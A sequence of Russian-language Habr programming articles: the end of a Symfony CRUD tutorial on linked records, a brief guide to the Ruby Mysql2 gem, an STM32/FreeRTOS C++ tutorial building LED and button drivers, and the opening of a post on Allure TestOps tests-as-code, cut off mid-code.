{% include 'TestNewsBundle:News:form.html.twig' with { 'form' : edit_form } %}
* [Back to the list]({{ path('news') }})
* {{ form\_widget(delete\_form) }}
Delete
```
Можно конечно оставить один шаблон для занесения и редактирования записей, но в данном примере оставим структуру шаблонов и методов контроллера, которую сгенерировал CRUD-генератор, без изменений.
Далее нужно модифицировать класс котроллера Test/NewsBundle/Controller/NewsController. Хотя мы и указали в параметрах связи «Новость — Ссылка» опцию cascade = all (при сохранении сущности сохраняются связанные сущности), однако все равно требуется определить привязку объектов NewsLink к родительскому объекту News:
```
public function createAction()
{
$entity = new News();
$request = $this->getRequest();
$form = $this->createForm(new NewsType(), $entity);
$form->bindRequest($request);
if ($form->isValid()) {
$em = $this->getDoctrine()->getEntityManager();
// Нужно указать родительский объект
foreach ($entity->getNewsLinks() as $link)
{
$link->setNews($entity);
}
$em->persist($entity);
$em->flush();
return $this->redirect($this->generateUrl('news_show', array('id' => $entity->getId())));
}
return array(
'entity' => $entity,
'form' => $form->createView());
}
```
Для метода updateAction нужно еще предусмотреть возможно удаления связанных записей. В html-форме есть удаление строк таблицы с использованием JQuery, однако этого недостаточно для удаления записей — это нужно явно реализовать в контроллере:
```
public function updateAction($id)
{
$em = $this->getDoctrine()->getEntityManager();
$entity = $em->getRepository('TestNewsBundle:News')->find($id);
if (!$entity) {
throw $this->createNotFoundException('Unable to find News entity.');
}
$beforeSaveLinks = $currentLinkIds = array();
foreach ($entity->getNewsLinks() as $link)
$beforeSaveLinks [$link->getId()] = $link;
$editForm = $this->createForm(new NewsType(), $entity);
$deleteForm = $this->createDeleteForm($id);
$request = $this->getRequest();
$editForm->bindRequest($request);
if ($editForm->isValid()) {
foreach ($entity->getNewsLinks() as $link)
{
$link->setNews($entity);
//Если ссылка - не только что занесенная (у нее есть id)
if ($link->getId()) $currentLinkIds[] = $link->getId();
}
$em->persist($entity);
//Если ссылка которая была до сохранения отсутствует в текущем наборе - удаляем ее
foreach ($beforeSaveLinks as $linkId => $link)
if (!in_array( $linkId, $currentLinkIds)) $em->remove($link);
$em->flush();
return $this->redirect($this->generateUrl('news_edit', array('id' => $id)));
}
return array(
'entity' => $entity,
'edit_form' => $editForm->createView(),
'delete_form' => $deleteForm->createView(),
);
}
```
Форма с возможностью добавления связанных записей:
Теперь наше приложение позволяет заносить, просматривать, обновлять и удалять новости. При этом работа со связанными ссылками к новости происходит без перезагрузки страницы. Не сказать, чтобы совсем без кодирования, но с достаточно небольшими усилиями был разработан данный функционал. При этом внешний вид формы можно настраивать по своему усмотрению. Используя механизм тем в формах можно переопределить стандартные шаблоны отображения строк и полей формы. | https://habr.com/ru/post/125948/ | null | ru | null |
# Mysql2
Mysql2 — современная, простая и очень быстрая [Mysql библиотека (GEM) для Ruby.](http://github.com/brianmario/mysql2)
#### API состоит из 2-х классов:
1. Mysql2::Client — соединение с базой
2. Mysql2::Result — результат запроса включающий в себя модуль Enumerable.
#### Установка:
`gem install mysql2`
#### Использование:
##### Соединение с базой:
`client = Mysql2::Client.new(:host => "localhost", :username => "root")`
##### Потом запрос к базе:
`results = client.query("SELECT * FROM users WHERE group='githubbers'")`
##### Нужно что то экранировать сначала?
`escaped = client.escape("gi'thu\"bbe\0r's")
results = client.query("SELECT * FROM users WHERE group='#{escaped}'")`
##### И в конце, перебор результатов:
`results.each do |row|
# ковертация строки в Hash
# гду ключи это имена полей
end`
##### Или вы можете сделать тоже самое проще:
`client.query("SELECT * FROM users WHERE group='githubbers'").each do |row|
#работаем со строкой (row) в блоке
end` | https://habr.com/ru/post/102060/ | null | ru | null |
# STM32, C++ и FreeRTOS. Разработка с нуля. Часть 1
#### Введение
Не так давно мой отдел столкнулся с трудностями поиска новых инженеров программистов для разработки встроенного ПО. Опытным и умным не нравился уровень зарплаты, а молодых просто нет в нашем городе. Поэтому под патронажем нашей доблестной глобальной компании со штаб квартирой где-то в Сент Луисе, мы начали сначала набирать студентов в интернатуру, а потом, решили пойти другим путем и сделать целых два курса по разработке ПО, а уже там самим выбирать самых “толковых” если понадобятся вдруг новые сотрудники. Это намного дешевле и позволяет охватить максимальное количество претендентов.
Немного отступлю от темы, сам я программировал последний раз очень давно, и вообще больше на С#, а последний глобальный проект на микроконтроллере (PIC16 на зыке Си) был сделан в далеком 2007 году.
Поэтому мне предстояло разобраться с современными микроконроллерами, языком С++ и операционной системой реального времени.
Конечно все наши проекты уже сейчас используют ОСРВ и пишутся на С++, но как разработчик я в них не учувствую, а занимаюсь ~~тунеядством~~ управлением проектами разработки такого ПО.
#### Выбор
Времени у меня на все про все было дано 1 месяц. С начала июня 2015 до начала июля 2015, потому что потом я собирался в отпуск, а после отпуска обычно полно работы. Надо было делать все быстро и четко.
Немного проконсультировавшись с коллегами, выяснил, что модное направление ARM Cortex различные ядра и из доступных отладочных плат можно заказать Olimex STM32P152 которые стоили 25 долларов. Они пришли очень быстро — 6 плат по цене примерно 2000 рублей. Стоит заметить, что эти платы были закуплены нами для университета, где собственно и будет проходить этот курс.
#### Исходные данные: Цель
Первым делом, нужно было определиться с тем, какую информацию и что давать студентам. Для себя я решил, что главной целью будет — показать весь процесс разработки ПО для устройств с использованием микропроцессора STM32, языка программирования С++ и операционной системой реального времени FreeRTOS, начиная от требований и разработки архитектуры и заканчивая кодированием.
#### Исходные данные: Ограничения
Итак задачей нашего проекта является создание демо приложения для отладочной платы Olimex STM32P152, по стандартам кодирования (который я тут приводить не буду), написанным на языке С++ с использование FreeRTOS.
Приложение должно быть понятным, простым и ненавязчивым, без заумных конструкций присущих языку С++. Архитектура должна быть описана на языке UML.
#### Исходные данные: Функциональные требования
SR0: Устройство должно измерять три параметра (иметь три переменных): Температуру микропроцессора, Напряжение VDDA, Напряжение с переменного резистора
SR1: Устройство должно выводить значение этих переменных на **индикатор**.
SR2: Единицы измерения для Температуры микропроцессора — градусы Цельсия, для остальных параметров — вольты.
SR3: При нажатии на **кнопку 1**, на **индикаторе** должен показываться экран со следующей измеряемой переменной,
SR4: При нажатии на **кнопку 1** **Светодиод 1** должен изменять свое состояние
SR5: При нажатии на **кнопку 2**, на **индикаторе** должен поменяться режим отображения переменных с постоянного показывания переменной на последовательное (менять экраны раз в 1.5 секунды) при следующем нажатии с последовательного на постоянное,
SR6: При нажатии на **кнопку 2** **светодиод 2** должен менять свое состояние.
SR7: **Светодиод 3** должен моргать раз в 1 секунду.
Вкратце — это все требования для данной задачи.
Понятно, что задача не такая сложная, но позволяет практически полностью показать весь процесс разработки любого устройства по заданным требованиям.
#### Разработка: начало работы
И так требования готовы, можно приступать. Начнем с инфраструктуры. Для начала я создал проект в IAR для C++, ничего нового тут нет. Вот эта статья все описывает [Создание проекта на C++ в IAR для STM32](http://chipspace.ru/cplusplus/). Здесь останавливаться не будем.
#### Разработка: обертка для FreeRTOS
Поскольку я собрался использовать С++, а операционная система написана на Си, то мне нужна С++ обертка для FreeRTOS. В идеале можно было бы написать обертку так, чтобы она подходила под большинство ОСРВ, и тогда в проектах, можно было не зависеть от типа ОСРВ, но заморачиваться с этим я не стал и в данной ситуации выбрал только те функции операционной системы, которые мне нужны, и только их и обернул, тупо скопировав сигнатуру методов.
Также был добавлен статический метод static void run(void \*parameters); Это как раз та функция, указатель на которую будет использоваться при создании задачи.
Для того, чтобы было возможно вызывать метод экземпляра класса в задаче, был сделан интерфейс iActiveObject с виртуальной функцией virtual void run(void) = 0; и глобальным атрибутом для хранения указателя на задачу.
**iActiveObject.h**
```
#include "types.h" //Стандартные типы проекта
class iActiveObject
{
public:
virtual void run(void) = 0;
void *taskHandle;
};
```
Любой объект, который хочет быть задачей (активным) должен наследовать этот интерфейс и реализовывать метод run(). Указатель на этот объект передается в функцию run() обертки в качестве параметра.
На бумаге это выглядело это так:
Задачу реализации этой картины я поручил одаренному молодому специалисту, который успешно справился с ней и через пару дней выдал вот такой пустой рабочий проект в IAR 6.50
[Пустой проект с оберткой FreeRTOS в IAR 6.50](https://yadi.sk/d/ku1eZwzDhfaBk)
Улучшенную версию обертки вы можете взять из этой статьи [С++ обертка для «всех» Операционных Систем Реального Времени для Cortex M4](https://habr.com/post/420467/)
#### Разработка: Общая архитектура
Пока молодой специалист делал обертку, я прикидывал архитектуру ПО. Для себя я выделил 3 пакета:
AHardware — пакет содержащий классы для работы и управления аппаратурой (Светодиоды, Индикатор, АЦП и так далее)
Application — пакет содержащий классы прикладного уровня и по задумке ничего не знающий про железо, поэтому может быть портрирован на любой микроконтроллер без изменения, ну при условии, что обертка разработана не человеком снежинкой. А в данном случае это не так:)
FreeRTOS — пакет с портированной операционкой и оберткой для неё.
Немного порисовав получилась следующая картина:
#### Разработка: Моргание светодиодом
Как обычно разработка начинается с самого интересного и сложного :) — реализации требования SR7: **Светодиод 3** должен моргать раз в 1 секунду, показалась мне именно той задачей, освоив которую я смогу двигаться вперед.
Первым делом нужно было разобраться с портами микроконтроллера и настройкой частоты. И надо сказать, что за прошедшие 8 лет с моего последнего микроконтроллерного проекта, многе изменилось и это показалось совсем не изи. Пришлось очень внимательно прочитать датащит по этим разделам и в конце концов понять, что все довольно тривиально, просто настроек в разы больше (чем в PIC 16).
В итоге вся настройка портов была выкинута в \_\_low\_level\_init(). И вообще всю настройку железа, которая не будет по ходу работы программы меняться я поместил в эту функцию. Она вызывается перед main(), до инициализации всех переменных и исполнения конструкторов глобальных экземпляров классов.
**Настройка портов для светодидов**
```
//Настройка портов ввода-вывода
//PE.10, PE.11 - светодиоды stat3 и stat4
//PA.4, PA.5 - светодиоды stat1 и stat 2
//Настраиваем порты PE.10, PE.11, PA.4, PA.5 на выход, cтр.174 CD00240194.pdf
GPIOE->MODER |= GPIO_MODER_MODER10_0;
GPIOE->MODER |= GPIO_MODER_MODER11_0;
GPIOA->MODER |= GPIO_MODER_MODER4_0;
GPIOA->MODER |= GPIO_MODER_MODER5_0;
```
Ну что же железо настроено и я опять сел за рисование, на этот раз — класса управления светодидами. Через пол часа получилось вот это:
И тут же реализация сего чуда:
**LedsDriver.h**
```
#include "types.h" //Стандартные типы проекта tU8
#define LEDS_NUMBER 4
class cLedsDriver
{
public:
explicit cLedsDriver(void);
void ledOn(const tU8 led);
void ledOff(const tU8 led);
void ledToggle(const tU8 led);
private:
static tPort ledsPort[LEDS_NUMBER];
static const tU16 ledsPin[LEDS_NUMBER];
};
```
**ledsdriver.cpp**
```
#include "ledsdriver.h" // Определение класса и тип tLeds
#include //Регистры STM32
#include "susuassert.h" // for ASSERT
#include "types.h" // для типов tPort, tU16, tU8
#include "bitutil.h" // для макросов работы с битами
#define LED1\_PIN GPIO\_OTYPER\_ODR\_4
#define LED1\_PORT GPIOA
#define LED2\_PIN GPIO\_OTYPER\_ODR\_5
#define LED2\_PORT GPIOA
#define LED3\_PIN GPIO\_OTYPER\_ODR\_10
#define LED3\_PORT GPIOE
#define LED4\_PIN GPIO\_OTYPER\_ODR\_11
#define LED4\_PORT GPIOE
tPort cLedsDriver::ledsPort[LEDS\_NUMBER] = {LED1\_PORT, LED2\_PORT, LED3\_PORT, LED4\_PORT};
const tU16 cLedsDriver::ledsPin[LEDS\_NUMBER] = {LED1\_PIN, LED2\_PIN, LED3\_PIN, LED4\_PIN};
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* Function: constructor
\* Description:
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
cLedsDriver::cLedsDriver(void)
{
}
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* Function: ledOn
\* Description: Зажигает выбранный светодид
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
void cLedsDriver::ledOn(const tU8 led)
{
ASSERT(led < LEDS\_NUMBER);
SETBIT(this->ledsPort[led]->ODR, this->ledsPin[led]);
}
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* Function: ledOff
\* Description: Гасит выбранный светодид
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
void cLedsDriver::ledOff(const tU8 led)
{
ASSERT(led < LEDS\_NUMBER);
CLRBIT(this->ledsPort[led]->ODR, this->ledsPin[led]);
}
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* Function: ledToggle
\* Description: Меняет состояние выбранного светодиода
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
void cLedsDriver::ledToggle(const tU8 led)
{
ASSERT(led < LEDS\_NUMBER);
TOGGLEBIT(this->ledsPort[led]->ODR, this->ledsPin[led]);
}
```
Теперь снова нужно немного порисовать, чтобы сделать класс управления логикой работы светодиодов — класса cLedsDirector. Это будет активный класс, т.е. его функция run(), будет запускаться в задаче. Как я уже писал выше, все мои активные классы должны наследовать интерфейс iActiveObject. Поэтому рисунок выглядит тоже не сложно.
Опять же реализация тоже простая и по силам человеке снежинке, вроде меня:
**ledsdirector.h**
```
#include "ledsdriver.h" //для cLedsDriver
#include "iactiveobject.h" //для iActiveObject
typedef enum
{
LD_led1 = 0,
LD_led2 = 1,
LD_led3 = 2,
LD_led4 = 3,
LD_none = 4
} tLeds;
class cLedsDirector: public iActiveObject
{
public:
explicit cLedsDirector(void);
void run(void);
private:
cLedsDriver* pLedsDriver;
};
```
**ledsdirector.cpp**
```
#include "ledsdirector.h" // Определение класса
#include "frtoswrapper.h" // для oRTOS
#include "types.h" // lля типов
#define LED_DELAY (tU32)500/portTICK_PERIOD_MS
/*******************************************************************************
* Function: constructor
* Description: Создает объект класса cLedsDriver
******************************************************************************/
cLedsDirector::cLedsDirector(void)
{
this->pLedsDriver = new cLedsDriver();
}
/*******************************************************************************
* Function: runTask
* Description: Задача управления ледами. led3 просто моргает
******************************************************************************/
void cLedsDirector::run(void)
{
for(;;)
{
oRTOS.taskDelay(LED_DELAY);
this->pLedsDriver->ledToggle(LD_led3);
}
}
```
Ну что же все написано, осталось самая малость — создать экземпляр класса cLedsDirector и задачу в main() и проверить как все это работает.
**функция main()**
```
#define LEDSDIRECTOR_STACK_SIZE configMINIMAL_STACK_SIZE
#define LEDSDIRECTOR_PRIORITY (tU32)2
// Не охота было заморачиваться с синглтоном, сделал oRTOS глобальным объектом
// можно было конечно сделать сRTOS статическим, но че-то тоже заморочек много
// зато просто, все равно всем нужен
cRTOS oRTOS;
....
void main(void)
{
cLedsDirector *pLedsDirector = new cLedsDirector();
oRTOS.taskCreate(pLedsDirector, LEDSDIRECTOR_STACK_SIZE, LEDSDIRECTOR_PRIORITY, "Leds");
oRTOS.startScheduler();
}
```
Запускаем на плате, и о чудо — работает с первого раза. Значит все сделал правильно. Есть реализация первого требования. Будем идти дальше. А пока сохраним проект
[Проект морганием светодиодом в IAR 6.50](https://yadi.sk/d/Et1nxVnXhfeJh)
#### Разработка: Кнопки
Светодиоды работают, теперь можно реализовать требования SR6: При нажатии на **кнопку 2** **светодиод 2** должен менять свое состояние и SR4: При нажатии на **кнопку 1** **светодиод 1** должен менять свое состояние.
Кнопки я решил делать без прерываний, да и вообще прерывания в этом проекте использовать не буду, хотя ничто не запрещает использовать прерывания, но просто я так решил.
Согласно процедуре рисуем класс cButtonsDriver.
Тут надо сказать одну вещь, что с первого раза у меня кнопки не заработали, точнее заработала только одна. Вторая не работала. Разобравшись, я понял, что одна кнопка подтянута к нулю, а вторая к единице. Поэтому нажатие определяется у них по разному. Для определения нажатия я и ввел дополнительный атрибут -buttonsTrigger (которого изначально в архитектуре не было). Он показывает по какому значению считается нажата кнопка по 0 или по 1. И вот после этого, все стало работать как часы.
Реализация очень простая.
**buttonsdriver.h**
```
#include "types.h" //Стандартные типы проекта для tU16 и tU8
#define BUTTONS_NUMBER 2
typedef enum
{
BS_buttonNotPressed = 0,
BS_buttonPressed = 1
} tButtonState;
class cButtonsDriver
{
public:
explicit cButtonsDriver();
tButtonState getButtonState(const tU8 button);
private:
static tPort buttonsPort[BUTTONS_NUMBER];
static const tU16 buttonsPin[BUTTONS_NUMBER];
static const tBoolean buttonsTrigger[BUTTONS_NUMBER];
};
```
**buttonsdriver.cpp**
```
#include "buttonsdriver.h" // Определение класса и тип tLeds
#include //Регистры STM32
#include "susuassert.h" //for ASSERT
#include "types.h" //для типов tPort, tU16, tU8
#define BUTTON1\_PIN GPIO\_OTYPER\_IDR\_13
#define BUTTON1\_PORT GPIOC
#define BUTTON2\_PIN GPIO\_OTYPER\_IDR\_0
#define BUTTON2\_PORT GPIOA
tPort cButtonsDriver::buttonsPort[BUTTONS\_NUMBER] = {BUTTON1\_PORT, BUTTON2\_PORT};
const tU16 cButtonsDriver::buttonsPin[BUTTONS\_NUMBER] = {BUTTON1\_PIN, BUTTON2\_PIN};
// первая кнопка нажата, когда во входном регистре 0, вторая когда 1
const tBoolean cButtonsDriver::buttonsTrigger[BUTTONS\_NUMBER] = {FALSE, TRUE};
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* Function: constructor
\* Description:
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
cButtonsDriver::cButtonsDriver()
{
}
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* Function: getButtonState
\* Description: Возвращает состояние кнопки, нажата или нет
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
tButtonState cButtonsDriver::getButtonState(const tU8 button)
{
tButtonState eState = BS\_buttonNotPressed;
ASSERT(button < BUTTONS\_NUMBER);
//У нас кнопки работают по разному, одна подтянута к 1, вторая к 0,
//Поэтому тут танцы с бубном, вначале смотрим состояние копки, а потом
//чтобы не городить много ифов и кейзов просто через массив состояний кнопки
//с помощью исключаещего или определяем её нажати.
tBoolean isLogicalZero = !(this->buttonsPort[button]->IDR &
this->buttonsPin[button]);
if(isLogicalZero ^ this->buttonsTrigger[button])
{
eState = BS\_buttonPressed;
}
return eState;
}
```
Ну что же с драйвером покончено, теперь надо подумать про задачу, которая будет переодически опрашивать кнопки.
Картинка выглядит очень похожей на активный класс для светодиодов, оно и верно, чего изобретать велосипед:
Нажатие на кнопку должно каким-то образом оповещать те задачи, которым нужно об этом знать. Можно сделать это несколькими способами: Через события, либо использовать очередь, либо воспользоваться последним достоянием freeRTOS нотификацией (Notify).
Проанализируем требования. По нажатию кнопки у нас должно осуществляться две вещи: Во-первых, менять свои состояния светодиоды 1 и 2, а во-вторых, на индикаторе должен меняться режим вывода и экраны. Проблема заключается в том, что очереди и события могут быть приняты только одной задачей, после чего вторая об этом не узнает, и тогда архитектура будет усложнена. Придется переадресовывать события, скажем что задача Светодиодов должна будет переадресовывать событие или очередь от кнопок задаче Индикатора. Что-то в этом меня не устроило, и я решил сделать нотификацию конктретной задаче. Т.е наша задача опроса кнопок после определения нажатия будет нотифицировать только те задачи, которым эти события нужны.
Для этого и был заведен массив указателей pTaskToNotify на задачи, которые необходимо оповещать.
Теперь реализация:
**buttonscontroller.h**
```
#include "types.h" //Стандартные типы проекта tU32
#include "iactiveobject.h" //для iActiveObject
#include "buttonsdriver.h" //для cButtonsDriver
#include "frtosWrapper.h" // для tTaskHandle
typedef enum
{
BT_button1 = 0,
BT_button2 = 1,
BT_none = 2
} tButtons;
class cButtonsController: public iActiveObject
{
public:
explicit cButtonsController(const tTaskHandle *pTaskToNotify,
const tU32 countOfNotifiedTask);
tButtons getPressedButton(void) const { return pressedButton; };
void run(void);
private:
cButtonsDriver* pButtonsDriver;
tButtons getButton(void);
tButtons pressedButton;
const tTaskHandle *pTaskToNotify;
tU32 countOfNotifiedTask;
};
```
**buttonscontroller.cpp**
```
#include "buttonscontroller.h" // Определение класса
#include "susuassert.h" // для ASSERT
#include "types.h" // для типов tPort, tU16, tU8
#include "bitutil.h" // для макросов работы с битами
#define BUTTON_TASK_DELAY (tU32) 50/portTICK_PERIOD_MS
#define NEXT_PRESS_DELAY (tU32) 500/portTICK_PERIOD_MS
/*******************************************************************************
* Function: constructor
* Description: Инициализируем список задач для нотификации и количество задач
* для нотификации. А также создаем драйвер кнопок.
******************************************************************************/
cButtonsController::cButtonsController(const tTaskHandle *pTaskToNotify,
const tU32 countOfNotifiedTask)
{
ASSERT(pTaskToNotify != NULL);
this->pButtonsDriver = new cButtonsDriver();
this->pTaskToNotify = pTaskToNotify;
this->countOfNotifiedTask = countOfNotifiedTask;
}
/*******************************************************************************
* Function: run
* Description: Определеяет нажатие кнопок и посылает нотификацию нужным
* нужным задачам
******************************************************************************/
void cButtonsController::run(void)
{
tRtosStatus eStatus = RS_fail;
tButtons eButtonPreviousState = BT_none;
tButtons eButtonCurrentState = BT_none;
const tTaskHandle *pTaskHandle;
tU32 i = 0;
for(;;)
{
eButtonPreviousState = this->getButton();
if (eButtonPreviousState != BT_none)
{
//еще раз проверяем для антибребезга
oRTOS.taskDelay(BUTTON_TASK_DELAY);
eButtonCurrentState = this->getButton();
if (eButtonPreviousState == eButtonCurrentState)
{
pTaskHandle = this->pTaskToNotify;
i = 0;
//пробегаем по списку задач, которые нужно оповестить и оповещаем их
while ((pTaskHandle != NULL) && (i != countOfNotifiedTask))
{
eStatus = oRTOS.taskNotify(*(pTaskHandle), (tU32)eButtonCurrentState,
eSetValueWithOverwrite);
if(eStatus == RS_fail)
{
;//Обработка ошибки
}
pTaskHandle++;
i++;
}
//следующее нажатие будет определяться только после задержки в 0.5 сек
oRTOS.taskDelay(NEXT_PRESS_DELAY);
}
}
oRTOS.taskDelay(BUTTON_TASK_DELAY);
}
}
/*******************************************************************************
* Function: getPressedButton
* Description: Определеяет какая из конопок нажата
******************************************************************************/
tButtons cButtonsController::getButton(void)
{
tButtons eButton = BT_none;
if (BS_buttonPressed == this->pButtonsDriver->getButtonState(BT_button1))
{
eButton = BT_button1;
}
else if (BS_buttonPressed == this->pButtonsDriver->getButtonState(BT_button2))
{
eButton = BT_button2;
}
this->pressedButton = eButton;
return eButton;
}
```
Теперь в main нужно создать список задач для оповещения и новую задачу для опроса кнопок:
**main.cpp**
```
#include // Регистры STM2
#include "ledsdirector.h" // Для класса cLedsDirector
#include "buttonscontroller.h" // Для класса cButtonsController
#include "types.h" // Для типов проекта
#include "frtoswrapper.h" // для cRtos
#define LEDS\_TASK\_HANDLE\_INDEX 0
#define BUTTON\_TASKS\_NOTYFIED\_NUM 1
#define LEDSDIRECTOR\_STACK\_SIZE configMINIMAL\_STACK\_SIZE
#define LEDSDIRECTOR\_PRIORITY (tU32)2
#define BUTTONSCONTROLLER\_STACK\_SIZE 256//configMINIMAL\_STACK\_SIZE
#define BUTTONSCONTROLLER\_PRIORITY (tU32)3
// Не охота было заморачиваться с синглтоном, сделал oRTOS глобальным объектом
// можно было конечно сделать сRTOS статическим, но че-то тоже заморочек много
// зато просто, все равно всем нужен :)
cRTOS oRTOS;
..
void main( void )
{
//задача ButtonControllera должна оповещать другие задачи о нажатии
//на кнопку, и передавать её значение. Для этого заводим массив указателей на
//задачи, которые надо оповещать
static tTaskHandle tasksToNotifyFromButton[BUTTON\_TASKS\_NOTYFIED\_NUM];
cLedsDirector \*pLedsDirector = new cLedsDirector();
oRTOS.taskCreate(pLedsDirector, LEDSDIRECTOR\_STACK\_SIZE, LEDSDIRECTOR\_PRIORITY, "Leds");
tasksToNotifyFromButton[LEDS\_TASK\_HANDLE\_INDEX] = pLedsDirector->taskHandle;
cButtonsController \*pButtonsController = new cButtonsController(tasksToNotifyFromButton, BUTTON\_TASKS\_NOTYFIED\_NUM);
oRTOS.taskCreate(pButtonsController, BUTTONSCONTROLLER\_STACK\_SIZE, BUTTONSCONTROLLER\_PRIORITY, "Buttons");
oRTOS.startScheduler();
}
```
Запускаем, проверяем и все работает — да просто удивительно :) Вот что значит вначале порисовать.
Как обычно сохраняем проект:
[Проект Кнопки и светодиоды для IAR 6.50](https://yadi.sk/d/GO8wDJF2hfm3f)
Улучшенный проект с примером новой обертки можно взять здесь:
[Проект на IAR 8.30](https://yadi.sk/d/kgp_-bz_3aKnQr)
А проект стал выглдятеть вот так:
Итак, за каких-то три дня я реализовал три требования — не плохая скорость, учитывая, что всего у меня их 7. И решив, что за оставшиеся 2.5 недели я то точно все сделаю, отправился на два дня на озеро.
Как потом оказалось, зря я так оптимистически смотрел на вещи, но об этом уже во второй части. | https://habr.com/ru/post/261807/ | null | ru | null |
# Tests as code с Allure TestOps и что из этого вышло
Внедрение автоматизированных практик тестирования — очень полезная штука. Однако при подходе к этой задаче возникает масса вопросов. Какую платформу выбрать? Сложной ли будет миграция? Какие подводные камни ждут впереди? В своем посте я расскажу, как мы переносили практику тестирования и внедряли «тесты как код» на базе Allure TestOps.
Достаточно давно (по меркам ИТ-мира) я посмотрел доклад Артема Ерошенко с Heisenbug 2020 «[Тест-кейсы как код](https://youtu.be/Prm2-c_5mYs)». С переходом в Леруа Мерлен со старой TMS на Allure TestOps появилось желание полноценно попробовать данный подход у себя. В статье расскажу о том, что из этого получилось.
Привет, Хабр! Меня зовут Сергей Старков, я работаю в области тестирования с 2011 года. Ранее тестировал: десктопные клиент-серверные системы видеонаблюдения вместе с железом для них, кассовое ПО (Windows и DOS) вместе с железом, распределенный монолит, в основе которого Oracle Siebel CRM. В Леруа Мерлен являюсь инженером по тестированию различных продуктов для внутренних и внешних пользователей.
### Переезд на новую TMS?
Не хотелось бы устраивать холивары по выбору TMS-системы. Скажу сразу, что наш приоритет был определен очень прагматично. Allure TestOps по сумме лицензий выходил дешевле своих конкурентов, поддерживать этот продукт проще, а еще он находится полностью в нашей зоне ответственности, также в плюс интуитивно понятный интерфейс и то, что очень просто использовать внешние интеграции с Jira, Jenkins и т. д.
Понятно, что переезд нескольких десятков команд, сотни проектов с тестовой базой, состоящей из десятков тысяч тест-кейсов, пугал, но мы справились — чему сейчас очень рады.
### Чего мы ждали от подхода «тесты как код»
IT-составляющая в Леруа Мерлен последние пару лет развивается очень быстрыми темпами. Поэтому нам хотелось сформировать единый подход к написанию тест-кейсов. Кроме того, была надежда снизить трудозатраты на их написание и рефакторинг, а также косвенно увеличить скорость актуализации тестов. Ну и конечно, всё это было сдобрено духом авантюризма: «А что из этого выйдет?»
У нас имеется классический CI/CD, когда по мержу в ветку (например, dev) происходит запуск статического анализа кода приложения, различные проверки информационной безопасности, прогоняются unit-тесты и, наконец, раскатка на соответствующее окружение. После этого запускаются функциональные тесты, и результаты попадают в Allure TestOps. Плюс, при желании, можно запланировать дополнительные уведомления в Slack.
При миграции из старой TMS для сохранения иерархии папок для тестовых моделей мы решили сделать маппинг с помощью аннотаций @Section … @Section2 и в итоге получили 3 уровня вложенности. Пример аннотации выглядит так:
```
@Documented
@Inherited
@Retention(RetentionPolicy.RUNTIME)
@Target({ElementType.METHOD, ElementType.TYPE})
@LabelAnnotation(name = "section")
public @interface Section {
String value();
}
```
В самой TMS был настроен маппинг:
Затем для удобства фильтрации тестов мы добавили @Layer и настроили необходимый маппинг.
```
@Documented
@Inherited
@Retention(RetentionPolicy.RUNTIME)
